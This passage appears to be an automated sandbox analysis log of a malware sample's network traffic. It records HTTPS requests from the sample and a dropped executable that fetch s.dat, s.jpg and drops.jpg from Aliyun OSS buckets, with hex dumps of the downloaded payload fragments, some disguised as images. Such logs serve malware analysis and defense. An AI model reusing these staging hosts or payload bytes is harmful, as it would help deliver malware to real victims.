f5 f6 1c ce 71 0e c8 38 12 5d a5 a6 a8 b9 81 05 24 3e 7f 87 5f e9 b2 ac d8 50 4b 41 40 ae 76 80 40 a4 58 df 93 6f bb a4 25 c4 dc 1b f9 98 6d 46 50 50 Data Ascii: YeE9BXtiasi@aYuS4J@cRRIrxd9_RxUE7KRM"z+wU4vKA6Ppr4bdl#IafK>tjI6a!aK?/qf/<}^q8]$>_PKA@v@Xo%mFPP
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 82 6b 24 f1 76 c7 84 af a6 d8 72 87 9e 02 98 c2 20 b2 f1 7e 40 de 11 c4 b7 04 70 3b 4c f8 6d db 2d a9 ce 60 f5 10 4c 12 54 c5 c0 72 2e a1 d8 20 3a 3e 2a 25 eb 4b 0d 65 55 1a c4 48 1a 5e 6a 05 eb 8f 85 11 75 4e 9c 4d 91 ea 1e 6c 58 58 23 d5 a9 a7 43 0b 1c de b1 07 fa 5d 5e fb 87 19 ab 0f 82 15 1e ba 6f f1 63 c6 da 5d 0e ab af 31 1b bf 5a cd f6 53 1f 80 ab 2c 54 0f 0f 1b 81 1b a2 ce 13 0d 34 7e c8 33 6a cb 2c 24 f8 95 15 fe 8e 9d b5 5f fa 6f 6b 71 de 1e b5 8b 59 19 1d 09 5e ac 7c 16 63 9b d8 c8 b4 27 9d 9d bb 43 03 b0 6a a2 cc 20 6c 87 15 fd 83 53 0b 74 ba be 94 f4 dc 67 c5 f1 cb 96 3f f5 5d c0 5a b8 19 35 ae dd 45 b8 22 e8 49 6d f7 25 8d 40 da 70 d0 35 af 4d f4 b8 23 50 f0 45 df 6d c4 90 0a 98 39 7d 78 78 2e 64 92 61 cf c0 27 77 aa e9 3f f8 8d 38 ff 14 79 Data Ascii: k$vr ~@p;Lm-`LTr. :>*%KeUH^juNMlXX#C]^oc]1ZS,T4~3j,$_okqY^\|c'Cj lStg?]Z5E"Im%@p5M#PEm9}xx.da'w?8y
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 7d 65 0f 82 22 33 6c 58 70 0d b8 a6 df ea 7b 6d 7a 5f 99 fd 73 8d 00 c9 26 96 32 5f 9a 2d 5f 52 cd c3 af 35 d2 10 ab ac 7d 75 1f 92 32 53 12 21 c0 0e a8 ca d8 dd c7 d0 35 03 63 e9 2c 3e eb 04 88 24 5d 20 1c fa f5 63 e0 67 b3 2a db a8 82 4f 91 91 6e 78 3a 77 32 95 d2 d2 f3 31 f7 3a 09 7f 6b 09 80 20 ed f3 ca fa b6 ca 1e 07 6f f1 ea 8e 7e 4f df f1 ee 66 ca 0f a7 51 14 14 36 25 dc 96 50 91 b0 60 93 09 88 28 f5 58 20 ee bf f1 ff 75 17 d6 a0 c8 e1 27 4f 1e 06 29 03 1c 90 34 5d e2 3e e3 1d 28 c6 67 37 ac 93 2b e2 78 8e 2e d7 4d 83 2a 0a 90 3e 9f 8f 15 a3 7a 0a 90 76 d6 47 dd 4b e2 82 19 56 f6 3f ee a6 6f 8c 4a 79 5f df 1d 79 90 90 40 b3 29 a8 08 35 66 cc 97 f8 29 cb b8 4b 89 f7 f9 13 42 7a ec 0b d1 0c f7 79 ec 74 3d d3 55 25 47 d7 82 00 94 7d a5 84 da b6 7d d4 Data Ascii: }e"3lXp{mz_s&2_-_R5}u2S!5c,>$] cgOnx:w21:k o~OfQ6%P`(X u'O)4]>(g7+x.M>zvGKV?oJy_y@)5f)KBzyt=U%G}}
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: e8 d2 e7 86 d8 b8 2d 86 04 1b e1 8b 98 09 7a 3b fe 9c 4d 52 15 f8 12 ed 29 9d a8 0f 40 e6 e5 0b eb ad 15 c7 ff 17 26 89 1c e1 b5 91 c7 16 33 50 17 9c 37 41 d3 06 73 61 28 5f ab 72 93 98 00 8a 6a 27 25 8b 41 b0 e7 2a 40 2e 6b be e6 f0 18 0c d2 28 51 ab 0c 08 02 67 5f 1a 0c 87 3a cc d9 74 dd c0 fd 7b 99 48 59 37 8d c3 26 3f 4d cf ea ea 8f 47 36 91 83 9c f4 2f 52 87 f9 10 b6 44 68 27 93 d2 36 2f 5d 2c 59 59 de 90 b4 e8 85 d4 e9 71 8f 42 65 b0 d8 16 f6 ff 1e 3b 4d 23 fa 1f 9e 5f 66 d6 96 8f 3f 35 40 28 de 44 3a fe c4 20 45 37 b3 18 0e ff ad 2b a7 83 7e 88 3a 6c b9 b9 31 4d dd 30 2d 5f e5 98 94 26 e7 f1 17 4f ba 13 8e 17 f2 ca 4c 08 6f 8e 74 4a 05 8d c4 24 3d 4b fb 22 c3 67 31 f6 85 11 26 a8 6e cf 31 7a 78 b7 f3 05 66 c0 b6 4d c3 3a 0e 1c bb 55 6d 30 27 5a a7 Data Ascii: -z;MR)@&3P7Asa(_rj'%A*@.k(Qg_:t{HY7&?MG6/RDh'6/],YYqBe;M#_f?5@(D: E7+~:l1M0-_&OLotJ$=K"g1&n1zxfM:Um0'Z
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: ed 6d 99 07 e4 c7 b2 15 b2 42 6c 84 38 c1 7d 64 0c 9a 79 ff 71 01 27 59 e8 ac 0f 20 7d b1 81 7f 87 9c 7d 37 13 a4 d8 58 fb d7 aa 0d 1a 88 06 95 72 33 fc a9 08 eb 61 e5 1b 19 63 d2 aa 09 e2 b9 52 e1 a4 8a 08 e0 3b 67 e2 cf e9 55 97 b7 28 79 76 3f a4 7b d0 9c 14 c0 80 dc ab f5 4d 7c f8 cf 89 4a 4c ec 7a 99 13 8b 9f bf 89 fd cb 07 5c 57 9b f8 f0 51 1b 72 ea b3 52 b0 4e d4 50 16 0e f6 43 a8 45 5e f8 99 90 3e a9 4a 8f 23 54 4d 98 d2 f6 51 e0 54 ce c8 f3 3b ec 5d 4b 96 31 6f 39 fe 82 8b 66 a4 22 6a 74 1d 57 6f 34 15 b0 16 87 b1 79 02 74 8a 6e 8c ba ef c4 ed 35 cc c8 82 2e 56 35 d3 9b 89 05 6d 16 f0 98 8a 0e 66 25 2b c7 a1 c9 f5 3e b0 50 22 fe a6 40 5f f9 be 1c 04 3a 5e 6a f5 4b 68 7a cb ed b4 ba f8 98 a8 7f 86 9c b5 87 da e8 1e 72 b0 c5 a5 2a a9 48 4a cf 41 64 Data Ascii: mBl8}dyq'Y }}7Xr3acR;gU(yv?{M\|JLz\WQrRNPCE^>J#TMQT;]K1o9f"jtWo4ytn5.V5mf%+>P"@_:^jKhzr*HJAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	63219	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:32 UTC	106	OUT	GET /s.dat HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:32 UTC	561	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:32 GMT Content-Type: application/octet-stream Content-Length: 28272 Connection: close x-oss-request-id: 678874E89AB67D3336F1EC8D Accept-Ranges: bytes ETag: "3959C4532ECC81F0D48C1658972D0CA1" Last-Modified: Thu, 16 Jan 2025 02:54:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12015919598050394622 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: OVnEUy7MgfDUjBZYly0MoQ== x-oss-server-time: 13
2025-01-16 02:54:32 UTC	3535	IN	Data Raw: f5 e2 28 b8 bb b8 b8 b8 bc b8 b8 b8 47 47 b8 b8 00 b8 b8 b8 b8 b8 b8 b8 f8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 50 b8 b8 b8 b6 a7 02 b6 b6 02 bf 7b 5a c3 7a 37 fa 16 63 5f 36 2c 7f 2f 5d 40 48 5d 3c 30 7d 3e 5f 50 50 51 25 71 33 34 14 46 41 5a 7a 33 34 7a 3e 35 29 5a 37 35 3e 3f 11 32 32 35 11 35 35 35 35 35 35 35 f6 81 47 5c db 89 40 66 e1 b3 7a 5c db 89 40 66 e1 b3 7b 5c e4 89 40 66 e8 cb e9 5c d8 89 40 66 e8 cb ef 5c d8 89 40 66 e8 cb f9 5c df 89 40 66 e8 cb f0 5c d5 89 40 66 e8 cb ee 5c da 89 40 66 e8 cb eb 5c da 89 40 66 34 0f 05 0e 89 db 12 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 64 71 34 34 50 b2 3c 34 c2 67 ad 62 62 62 62 62 62 62 62 62 92 62 40 Data Ascii: (GGP{Zz7c_6,/]@H]<0}>_PPQ%q34FAZz34z>5)Z75>?2255555555G\@fz\@f{\@f\@f\@f\@f\@f\@f\@f44444444444444444444444444dq44P<4gbbbbbbbbbb@
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: 23 5f 05 23 23 56 27 a8 d8 33 c7 9d eb 2b a7 66 a7 83 f7 ef 2a 7e 0e 7a 6b e6 23 60 e2 be c6 b2 1d 08 46 3b 1d 1d 96 61 39 69 71 02 d2 a7 c2 59 15 5c 9c 11 31 89 34 31 31 b1 d8 bd 31 31 31 75 0a e5 79 0d b1 b4 b1 b1 31 da 49 d9 4c 5a 4c 4c 04 8f f4 4c 3f fc 4a 38 87 86 87 87 47 ac 2b 0a cc 09 ff 1e 84 0f 49 6c b1 90 b1 b1 f5 7e eb b1 7e 8d 3a f7 23 23 1a 3d 55 1c 1d d6 90 84 dc 1d fe de b7 75 bb 43 f3 36 f6 f4 bf 7b a3 b3 eb 2a e6 12 a7 6d a3 a3 e2 1b a3 a2 a3 a3 2a 6f d6 6b 25 92 60 2b 43 ca 06 43 ab 0f b6 ab ab ea 54 6d e2 63 27 ca e3 e3 e3 ab 62 a7 72 63 62 62 26 59 54 26 eb df 9b 10 58 d2 12 1e 36 5a 99 c5 bd c1 d1 5a bd f5 b1 f9 32 75 91 d0 cf d0 cc 8d 90 93 92 51 5e 5e 5e 92 92 92 92 da 19 56 da 53 82 d2 92 1b fa 82 da 53 aa c2 92 1b ea b2 d3 87 92 Data Ascii: #_##V'3+f~zk#`F;a9iqY\1411111uy1ILZLLL?J8G+Il~~:##=UuC6{m*ok%`+CCTmc'brcbb&YT&X6ZZ2uQ^^^VSS
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: 8e 07 0a aa de df de de 96 1b c2 b2 b2 fa 3f fe 96 b6 d3 a5 5f 1a 6c 9f 6c b7 ab 28 48 78 54 49 48 48 b7 5d e9 fe e9 e9 a1 2c ed 85 91 6e 84 1f 86 86 86 0d c2 e6 f6 86 4f 14 4e cc b7 b2 c2 9e 3c 78 18 04 bf 47 bd ca b7 3a ef b6 5e d1 5e 5e 5e 1f 65 9d 2b 21 90 29 2b 2b 2b c2 ab ab ab ab 90 53 e5 ec d1 5a 0a 3a a6 25 5e a0 d3 84 58 97 f7 cf b6 cc 34 41 24 70 0c 90 28 46 0d 0d 0d 02 98 5b 1b 5b 9e 75 c7 a5 5d 28 4d 19 65 f9 41 2f 64 64 64 6b f1 32 72 32 f5 1e b0 76 0d 0f 78 1d 49 71 d5 6d 03 02 03 03 0c 99 cf 8f cf c7 24 ff 4c b4 4f 39 67 23 5f fb 43 09 42 43 43 4c d6 80 c0 03 ca 2b db 58 23 d1 ae b8 97 f2 8a b2 ff 9a ce f6 52 ea 84 85 84 84 3c 30 3c 3c 3c 33 78 e4 7d 56 a6 09 4a 0b 61 91 3e 15 7f 15 e5 91 fa a4 ce 15 ba ef 8f a4 54 fb 93 d2 b8 48 e7 ee a6 Data Ascii: ?_ll(HxTIHH],nON<xG:^^^^e+!)+++SZ:%^X4A$p(F[[u](MeA/dddk2r2vxIqm$LO9g#_CBCCL+X#R<0<<<3x}VJa>TH
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: 38 30 4a 59 ce 0f c9 ba f8 0e 39 f9 8c 87 c4 73 45 cf 41 4f 0c f3 c4 84 0d fb cc 0f 79 76 31 fa 90 92 f6 1b 94 9e dd 17 7c 7e 1a f5 7d 8b bc 79 09 04 41 8a e0 e4 6b e4 ea a3 69 02 ee 67 ef a3 65 ad 2c a4 8c 89 f9 dc c1 4a 09 88 00 e9 03 74 14 5c 97 fd 1c 54 97 18 16 5f e9 df 5e d7 5f 2b ae e7 2d 4e a9 e4 2c 69 dc db 95 57 1f dc 10 00 1f 57 e0 d6 95 91 9f dc 6a a2 e2 6b 1f ec 56 94 dc 1f ba ba ba dc dc dc dc d3 c3 58 dc dc dc dc dc ba ba ba 4c 2a 2a dc 05 84 fc 05 25 25 25 56 67 2f ec 23 6d 95 21 e6 39 33 c9 71 ba 53 9a f2 33 72 2b 7f ba eb aa f2 31 75 3b 39 7d f6 69 77 34 cb fd 7c bd fc b5 f1 34 25 41 e1 7d fe 9d 62 94 e7 6b 6b 6b 0d 0d 0d 0d 02 12 89 0d 0d 0d 0d 0d 6b 9d 45 8c 76 8c 7c 73 8c 04 c6 cb eb cb cb cb 83 4a 22 4b 4b 4b 4b 44 5c 40 4e 4b 53 0f Data Ascii: 80JY9sEAOyv1\|~}yAkige,Jt\T_^_+-N,iWWjkVXL**%%%Vg/#m!93qS3r+1u;9}iw4\|4%A}bkkkkEv\|sJ"KKKKD\@NKS
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 68 7b 60 ab 47 9b e3 20 f9 68 ad 35 1d 35 35 35 7d b8 79 11 31 ee 04 f4 3b 0b 0b bc 31 f0 98 9c 63 89 4e 53 ac ac 1b d8 93 d0 27 cd 15 02 32 32 7a b1 f6 02 59 c1 ce ce 92 ce 8a ce a1 ce bd ce 8a ce ab ce b8 ce a7 ce ad ce ab ce bd ce 92 ce 9a ce bc ce bb ce ab ce 9d ce a7 ce a9 ce a6 ce ba ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce ce Data Ascii: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((h{`G h5555}y1;1cNS'22zY
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad fd ad ad e9 ad ad ad bd 0c b5 0c 2c ad 24 ad 9d 0c 95 0c 4c ad 44 ad fd 0c f5 0c 6c ad 64 ad dd 0c d5 0c 8c ad 84 ad 3d 0c 35 0c ac ad a4 ad 1d 0c 15 0c cc ad c4 ad 7d 0c 75 0c ec ad e4 ad 5d 0c 55 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c Data Ascii: ,$LDld=5}u]U
2025-01-16 02:54:32 UTC	4096	IN	Data Raw: 67 47 a9 09 fd fc 12 13 1d 3c 88 0c c6 10 da 45 42 60 a9 c1 bc 1a 11 a7 e0 2e 22 2b 0a 8c d8 4c df a8 56 70 b6 bc 66 f5 56 67 09 82 f2 d3 a3 55 15 ce e3 6f 81 d8 c2 03 30 7c 10 15 ac 5c 86 7e 88 07 1f ba 3a fb b8 4b 9a 62 ec 00 e7 8e 85 12 6b 82 15 59 35 78 08 43 90 93 b7 4d 24 38 15 5e 33 ae 0e 03 b1 b4 8a 81 33 30 10 93 30 32 31 32 32 38 53 12 7f cb 7f 7f 7f 7f 7f 58 4f 42 49 46 65 e3 2d e3 92 9f 93 93 97 92 97 a7 e8 d9 e3 d8 e1 e7 e2 b4 e5 e3 f6 e7 b0 e3 81 a3 80 91 86 83 d5 d1 dd c6 df 88 be ac b7 de d9 d0 c3 ac ad f2 d3 e3 dd d5 d0 85 d4 d7 c3 c4 91 a6 a7 ca c8 c9 c3 f2 dd f3 df d9 dc 8a db d1 c8 ce 96 ff f5 e4 f9 8a 96 9f 8d ad ce e2 ff 8f 90 8d 9e ea f7 f1 f0 c1 d9 c0 d7 d1 d4 82 d3 d0 c0 f3 9e f7 fd ec f1 82 9e 97 85 a5 c6 ea e1 84 c1 b7 84 f6 ed Data Ascii: gG<EB`."+LVpfVgUo0\|\~:KbkY5xCM$8^330021228SXOBIFe-
2025-01-16 02:54:32 UTC	161	IN	Data Raw: 27 bc 56 8d a1 48 a7 d8 db 20 3c c6 64 eb a7 f5 dc 87 01 85 4d b3 73 df 7e 2f 72 c3 fe 90 7f 53 03 95 c3 69 b4 78 70 7f 47 cd 54 d7 16 ca e8 7a 26 d7 20 64 6e df e5 43 1a 7a 90 7c ad 5f 36 aa 81 b5 fe 6e b2 cd cf ba 1d 41 b4 54 53 e9 3f 79 f1 5e 23 29 65 39 09 a1 03 8d 0a fe 23 25 a7 5c cd 0e 5d 86 0a 45 0c 38 50 e4 30 db dd d2 af bb de fa 16 60 6f 98 ea 3b 50 91 e8 7f a4 41 45 cc 50 fe 5e b5 e2 5c 31 55 2a 67 69 1d 23 55 9c 19 fe aa 01 a8 35 68 df e2 53 d9 70 80 53 66 a1 b3 0b Data Ascii: 'VH <dMs~/rSixpGTz& dnCz\|_6nATS?y^#)e9#%\]E8P0`o;PAEP^\1U*gi#U5hSpSf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	63220	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:34 UTC	106	OUT	GET /s.jpg HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:34 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:34 GMT Content-Type: image/jpeg Content-Length: 8299 Connection: close x-oss-request-id: 678874EA7A62AC3733D22D60 Accept-Ranges: bytes ETag: "9BDB6A4AF681470B85A3D46AF5A4F2A7" Last-Modified: Mon, 13 Jan 2025 12:21:18 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 692387538176721524 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: m9tqSvaBRwuFo9Rq9aTypw== x-oss-server-time: 2
2025-01-16 02:54:34 UTC	3553	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:54:34 UTC	4096	IN	Data Raw: 6a 97 a0 76 9f 8a 4c ce c2 04 d4 99 b6 a3 2e 14 ad df 13 51 65 93 89 43 91 9f a1 22 66 8b 67 93 6a a2 a8 41 af 7a 2c ae 4c aa 83 63 3f 31 b1 0c 38 b2 5a bc ee 9f ac 38 b8 3b d8 89 02 c6 e4 8d 4f 83 68 c8 cb e9 cd 46 82 eb f8 de 65 da d0 b3 5f 34 d9 d6 6d db 55 d9 bc fb a3 e2 61 23 e6 e4 e3 87 ec ad ee cf c4 48 ef c7 73 cd d6 f3 c4 81 f4 1c 39 58 f8 db f6 39 e6 54 8a 0c ef 0e 3c c4 02 47 ce 01 4a eb 07 3d 8b cf 64 01 b1 11 50 1f 56 fc 58 fd 52 90 48 39 56 7e 31 61 02 cb 69 da d9 d8 cc 26 ee 13 ab 4c 25 c9 2d d0 31 03 dc f8 c8 d7 3b 32 53 27 d0 3e e3 d2 43 01 15 0b c5 c7 aa 26 cf 01 8d 0f 68 05 6c 61 40 dc 57 84 5a 54 79 13 7c 39 5f 3b 5d be 3a 5e 38 29 ef 27 40 e5 0e 2f e3 91 59 ab d5 8c 1a 9b 83 db 73 71 24 d7 68 16 7f 18 08 bb 51 3d 32 5b d8 c4 b1 43 a5 Data Ascii: jvL.QeC"fgjAz,Lc?18Z8;OhFe_4mUa#Hs9X9T<GJ=dPVXRH9V~1ai&L%-1;2S'>C&hla@WZTy\|9_;]:^8)'@/Ysq$hQ=2[C
2025-01-16 02:54:34 UTC	650	IN	Data Raw: f2 f5 18 89 8e 8a db 3d b5 89 92 61 93 d9 95 d6 f9 fa e8 f6 8e e8 f9 2d 9f 8a 17 a0 e4 d1 c1 a0 b7 a6 2d 71 ae f8 c9 d9 ef da b0 c5 da fa da d3 d9 f2 c0 b8 ea 98 18 bd f0 db b2 82 ae c3 ad a0 a8 b3 8b a8 a6 a7 8d 1d d0 9d 80 92 80 87 97 c7 d6 97 a8 da 92 be bd ad bf db e0 e5 e2 8f 56 e5 a7 8b 84 86 89 eb ec 39 ec a8 95 85 a2 81 d4 9a 95 92 8b 8a ab fa fc fd fe b4 45 53 4c 46 48 36 34 f8 7b 0a 05 0b 03 0d 01 0f 1f 11 1d 13 1b 15 19 17 e7 16 1a 14 1c 12 1e 10 20 2e 22 2c 24 2a 26 28 28 d6 25 2b 23 2d 21 2f 3f 31 3d 33 3b 35 39 37 37 39 3a 3b 3c f6 8f 1f 40 51 42 43 63 45 76 3f 0a e1 4a 4b 7c 4d 3e 1b 54 09 32 53 6c 7f 97 57 40 d9 5a 77 8c 5d 42 42 71 c9 62 63 ec 65 4a 47 68 75 52 6b 60 38 6f e3 30 71 6e 2b 70 63 16 77 76 2e 4a 69 7c 7d ee 7e 96 81 8c 84 90 Data Ascii: =a--qV9ESLFH64{ .",$*&((%+#-!/?1=3;59779:;<@QBCcEv?JK\|M>T2SlW@Zw]BBqbceJGhuRk`8o0qn+pcwv.Ji\|}~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	63221	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:49 UTC	114	OUT	GET /drops.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:49 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:49 GMT Content-Type: image/jpeg Content-Length: 37274 Connection: close x-oss-request-id: 678874F953726E36307E7748 Accept-Ranges: bytes ETag: "6D4DEB9526F3973DE0F9DCE9392F8EA7" Last-Modified: Wed, 23 Oct 2024 04:47:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9193697774326766004 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: bU3rlSbzlz3g+dzpOS+Opw== x-oss-server-time: 3
2025-01-16 02:54:49 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 0b f8 6e e5 94 c0 97 91 14 26 45 21 4a 7f 25 4d 17 94 22 b9 cc 39 85 12 8d 90 2e 22 a7 9b 88 48 11 a9 4c 87 92 90 a4 d1 4c 49 3a 88 29 a1 90 4b 37 c2 14 21 83 34 51 f8 1f f7 7b ee cc 64 cc cc fe b5 ff 5b df f9 e6 fb fe df 5a 7b bf b7 ef db eb f7 3c eb 79 3c 39 ff 6f af fd ee 77 af fd be eb 5d 17 11 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 cc 1a 95 ac 33 25 b2 46 a4 31 70 9c de 72 44 25 ff 3b 25 72 44 a4 31 70 9c de e2 06 c0 71 7a 8c 1b 00 c7 e9 31 Data Ascii: PNGIHDR\rfpHYs IDATxn&E!J%M"9."HLLI:)K7!4Q{d[Z{<y<9ow]qqqqqqqqqqqqqqqqq3%F1prD%;%rD1pqz1
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: b8 15 4d f0 da 0b 73 29 d8 06 f6 9f 9a 49 70 40 2e 05 0b 01 87 5f 9b 3d 3f fb 46 f6 f7 6d f6 f6 a1 c1 89 8a 9f a0 4d d0 15 3e 81 52 1c 83 39 a1 dc d8 a4 b1 fa 64 36 ed 8c e0 b1 d4 38 8c b0 7a eb 66 d2 b1 04 38 ea 6b e3 ed c7 43 bf 5d 06 7d 27 41 5d 01 4b 93 95 46 38 1d 28 e9 88 30 07 7c dd 35 db 80 d2 93 d3 6e 43 db 93 ed f2 5c 0a 16 82 a5 2d 59 23 ef 97 b2 7d 26 78 b5 3f 28 f6 fb 7a 57 0e 65 0b 82 17 5b 53 7b f0 79 b9 14 b4 a0 ad c2 72 68 2e 05 0b e0 b9 62 7f 49 e8 29 37 0d b5 09 f0 0d d0 e7 ce 7a 7f 7d df 0e 5e 2d 93 c7 e8 b2 6c da 29 21 c0 42 13 40 32 75 5e cd 80 10 db 6f e9 43 c0 76 ea a8 2c 9a 76 83 c0 2a 4b ec 00 01 61 a5 e5 0e a4 84 90 df 49 63 c4 b6 79 52 ad 81 ac 68 3b ec 7c 36 97 82 05 40 a5 18 cb 97 71 1a 5f fe 06 8c 80 e5 5e 2f cd a3 66 11 cc Data Ascii: Ms)Ip@._=?FmM>R9d68zf8kC]}'A]KF8(0\|5nC\-Y#}&x?(zWe[S{yrh.bI)7z}^-l)!B@2u^oCv,v*KaIcyRh;\|6@q_^/f
2025-01-16 02:54:49 UTC	4096	IN	Data Raw: d0 62 92 23 02 8f d8 7f 4b bb b9 f3 33 e8 e8 18 58 21 b6 49 77 40 06 1d 49 05 fd 8a 51 4f 8d b0 a7 bd 48 ea b2 d6 31 a1 a4 5b a8 ba 8e 83 f2 1b b1 75 d9 0d 05 45 38 2d 4d 44 3c 3c bc 50 38 4a b3 4c b8 f7 e5 51 53 4e 37 e8 d8 46 62 27 2f 59 92 6b ac 92 2b 02 ef 30 83 8e 18 8b 99 af dc 3b 6d 6c 22 f5 17 44 fb 10 73 ed e7 ac f9 08 7d 33 00 48 ae 08 bc 8b 0c 3a d2 fd b7 34 1f 4c 6f a1 21 c4 e7 45 ff f0 08 f5 dd 21 83 9e d6 7c 84 be 1a 80 5c 11 78 d6 50 e1 7f ce a0 a3 33 82 53 c5 36 c1 5e 9e 41 47 1c 74 57 18 f5 ec ab 01 40 7e 5a c9 7d 22 df c7 28 1e 2b b6 c8 d1 7d 32 e8 e8 0c f0 64 b1 2d a9 2f 93 3c 51 5d c7 19 74 ec da 9c 72 16 0c 00 42 6f be 1c 11 91 96 f6 75 d4 1d dc 28 83 8e 8e d4 c7 50 3f 13 db a4 3a 53 d2 3b 99 c8 2c fc b3 41 c7 fd a5 3e 9a c4 68 7c d5 Data Ascii: b#K3X!Iw@IQOH1[uE8-MD<<P8JLQSN7Fb'/Yk+0;ml"Ds}3H:4Lo!E!\|\xP3S6^AGtW@~Z}"(+}2d-/<Q]trBou(P?:S;,A>h\|
